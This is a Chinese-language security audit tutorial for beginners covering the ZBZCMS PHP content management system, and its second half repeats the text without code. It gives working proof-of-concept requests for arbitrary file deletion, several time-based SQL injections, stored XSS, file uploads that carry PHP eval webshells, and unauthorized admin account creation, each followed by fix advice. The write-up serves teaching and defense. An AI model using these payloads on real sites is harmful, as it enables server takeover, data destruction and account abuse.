zbzcms审计供新手学习
字数 1637 2025-08-07 08:22:18

ZBZCMS 安全审计报告与教学文档

0x00 前言

本报告针对 ZBZCMS 进行全面的安全审计,发现多个高危漏洞,包括但不限于:任意文件删除、SQL 注入、XSS、文件上传漏洞、任意文件写入、未授权访问等。本报告适合安全审计新手学习参考。

0x01 环境准备

  • 工具:
    • Seay 源代码审计系统
    • PHPStorm
    • PHPStudy
  • 测试方法:先用审计工具扫描,再人工分析

0x02 漏洞详情

1. 任意文件删除漏洞

文件路径/zbzcms.com/cms/cms/include/up.php

漏洞分析

  • 通过 GET 参数 run=del 控制删除操作
  • 无任何校验和过滤
  • 可直接删除服务器上任意文件

PoC

/zbzcms.com/cms/cms/include/up.php?run=del&file=../test.txt

修复建议

  • 严格限制可删除的文件路径
  • 增加权限验证
  • 对文件名进行过滤

2. SQL 注入漏洞(共4处)

第一处注入点

文件路径/zbzcms.com/cms/common/php/ajax.php

参数id

漏洞分析

  • 使用 select 查询函数但未做过滤
  • 可直接注入

PoC

http://127.0.0.1/zbzcms.com/cms/common/php/ajax.php?run=dj&id=1 and sleep(2)

第二处注入点

文件路径:同上

参数id (不同功能点)

PoC

http://127.0.0.1/zbzcms.com/cms/common/php/ajax.php?run=ad&id=1 and sleep(2)

第三处注入点

文件路径/zbzcms.com/cms/cms/include/make.php

参数art

PoC

http://127.0.0.1/zbzcms.com/cms/cms/include/make.php?php=1&art=1 and sleep(5)

第四处注入点

文件路径/zbzcms.com/cms/cms/include/zidong.php

参数tid

特点

  • 需要闭合括号
  • tid 值必须与数据库中某个值匹配

PoC

http://127.0.0.1/zbzcms.com/cms/cms/include/zidong.php?id=1&tid=3)+and+sleep(1)%23&laiyuan=0&sou=1&wid=1

修复建议

  • 使用预处理语句
  • 对所有输入参数进行过滤
  • 统一使用安全的数据库操作函数

3. 存储型 XSS 漏洞

位置:留言功能

参数neirong

漏洞分析

  • 用户输入未经任何过滤直接存入数据库
  • 后台查看时直接输出执行

PoC

<script>alert(1)</script>

修复建议

  • 对输出进行 HTML 实体编码
  • 实现 CSP 策略
  • 使用富文本编辑器时严格过滤

4. 文件上传漏洞(共4处)

第一处上传点

文件路径/zbzcms.com/cms/cms/admin/ajax.php

参数run=youad_pic

PoC

POST /zbzcms.com/cms/cms/admin/ajax.php?run=youad_pic HTTP/1.1
------WebKitFormBoundary1yVpo1vIVcMvlXNA
Content-Disposition: form-data; name="0"; filename="yjh.php"
Content-Type: application/octet-stream

<?php @eval($_POST['a']); phpinfo(); ?>
------WebKitFormBoundary1yVpo1vIVcMvlXNA--

第二处上传点

文件路径/zbzcms.com/cms/cms/include/up.php

参数run=file

PoC

POST /zbzcms.com/cms/cms/include/up.php?run=file&path=../../upload/up/&filename=0 HTTP/1.1
------WebKitFormBoundaryqwBQidHCCHB076er
Content-Disposition: form-data; name="0"; filename="yjh.php"
Content-Type: application/octet-stream

<?php @eval($_POST['a']); phpinfo();
------WebKitFormBoundaryqwBQidHCCHB076er--

第三处上传点

文件路径upload.php

特点:当 name=1 时跳过后缀判断

第四处上传点

文件路径/zbzcms.com/cms/cms/zbzedit/php/zbz.php

参数

  • run=uptxt
  • path
  • path_res
  • data_pic_name

PoC

POST /zbzcms.com/cms/cms/zbzedit/php/zbz.php?run=uptxt&path=upload/up/&path_res=../../upload/up/&data_pic_name=1 HTTP/1.1
------WebKitFormBoundaryQy3ayf3rnYVYcEcG
Content-Disposition: form-data; name="0"; filename="yjh.php"
Content-Type: application/octet-stream

<?php @eval($_POST['a']); phpinfo();
------WebKitFormBoundaryQy3ayf3rnYVYcEcG--

修复建议

  • 严格限制上传文件类型
  • 检查文件内容而不仅是扩展名
  • 上传文件重命名
  • 设置上传目录不可执行

5. 任意文件写入漏洞

文件路径:admin 目录下某文件

漏洞分析

  • 使用 file_put_contents 直接写入
  • 可通过 run 参数绕过登录检查

PoC

// 当 magic_quotes_gpc 开启时使用无引号马
<?php $_POST[a]($_POST[b]);?>

修复建议

  • 严格限制写入路径
  • 增加权限验证
  • 禁用危险函数

6. 未授权操作漏洞

任意管理员添加

方法:直接操作 admin 表

PoC

INSERT INTO admin(username,password) VALUES('hacker',md5('123456'))

未授权删除/修改

特点:逻辑相同,只是操作不同

7. 未授权添加管理员(绕过登录)

步骤

  1. 先通过 login 获取 session
  2. 添加管理员时设置权限等级

PoC

POST /path/to/vulnerable/file HTTP/1.1

run=add&table=admin&username=abc&pwd=123456&level=1

0x03 总结

ZBZCMS 存在多处严重安全漏洞,主要问题包括:

  1. 缺乏输入验证和过滤
  2. 权限控制不严
  3. 使用危险函数无防护
  4. 数据库操作不安全

整体修复建议

  1. 实现严格的输入验证和输出编码
  2. 完善权限控制系统
  3. 使用预处理语句操作数据库
  4. 禁用或严格限制危险函数的使用
  5. 实现CSRF防护
  6. 对所有管理功能进行严格的权限验证

本报告可作为Web应用安全审计的典型案例,供安全研究人员学习参考。

ZBZCMS 安全审计报告与教学文档 0x00 前言 本报告针对 ZBZCMS 进行全面的安全审计,发现多个高危漏洞,包括但不限于:任意文件删除、SQL 注入、XSS、文件上传漏洞、任意文件写入、未授权访问等。本报告适合安全审计新手学习参考。 0x01 环境准备 工具: Seay 源代码审计系统 PHPStorm PHPStudy 测试方法:先用审计工具扫描,再人工分析 0x02 漏洞详情 1. 任意文件删除漏洞 文件路径 : /zbzcms.com/cms/cms/include/up.php 漏洞分析 : 通过 GET 参数 run=del 控制删除操作 无任何校验和过滤 可直接删除服务器上任意文件 PoC : 修复建议 : 严格限制可删除的文件路径 增加权限验证 对文件名进行过滤 2. SQL 注入漏洞(共4处) 第一处注入点 文件路径 : /zbzcms.com/cms/common/php/ajax.php 参数 : id 漏洞分析 : 使用 select 查询函数但未做过滤 可直接注入 PoC : 第二处注入点 文件路径 :同上 参数 : id (不同功能点) PoC : 第三处注入点 文件路径 : /zbzcms.com/cms/cms/include/make.php 参数 : art PoC : 第四处注入点 文件路径 : /zbzcms.com/cms/cms/include/zidong.php 参数 : tid 特点 : 需要闭合括号 tid 值必须与数据库中某个值匹配 PoC : 修复建议 : 使用预处理语句 对所有输入参数进行过滤 统一使用安全的数据库操作函数 3. 存储型 XSS 漏洞 位置 :留言功能 参数 : neirong 漏洞分析 : 用户输入未经任何过滤直接存入数据库 后台查看时直接输出执行 PoC : 修复建议 : 对输出进行 HTML 实体编码 实现 CSP 策略 使用富文本编辑器时严格过滤 4. 文件上传漏洞(共4处) 第一处上传点 文件路径 : /zbzcms.com/cms/cms/admin/ajax.php 参数 : run=youad_pic PoC : 第二处上传点 文件路径 : /zbzcms.com/cms/cms/include/up.php 参数 : run=file PoC : 第三处上传点 文件路径 : upload.php 特点 :当 name=1 时跳过后缀判断 第四处上传点 文件路径 : /zbzcms.com/cms/cms/zbzedit/php/zbz.php 参数 : run=uptxt path path_res data_pic_name PoC : 修复建议 : 严格限制上传文件类型 检查文件内容而不仅是扩展名 上传文件重命名 设置上传目录不可执行 5. 任意文件写入漏洞 文件路径 :admin 目录下某文件 漏洞分析 : 使用 file_put_contents 直接写入 可通过 run 参数绕过登录检查 PoC : 修复建议 : 严格限制写入路径 增加权限验证 禁用危险函数 6. 未授权操作漏洞 任意管理员添加 方法 :直接操作 admin 表 PoC : 未授权删除/修改 特点 :逻辑相同,只是操作不同 7. 未授权添加管理员(绕过登录) 步骤 : 先通过 login 获取 session 添加管理员时设置权限等级 PoC : 0x03 总结 ZBZCMS 存在多处严重安全漏洞,主要问题包括: 缺乏输入验证和过滤 权限控制不严 使用危险函数无防护 数据库操作不安全 整体修复建议 : 实现严格的输入验证和输出编码 完善权限控制系统 使用预处理语句操作数据库 禁用或严格限制危险函数的使用 实现CSRF防护 对所有管理功能进行严格的权限验证 本报告可作为Web应用安全审计的典型案例,供安全研究人员学习参考。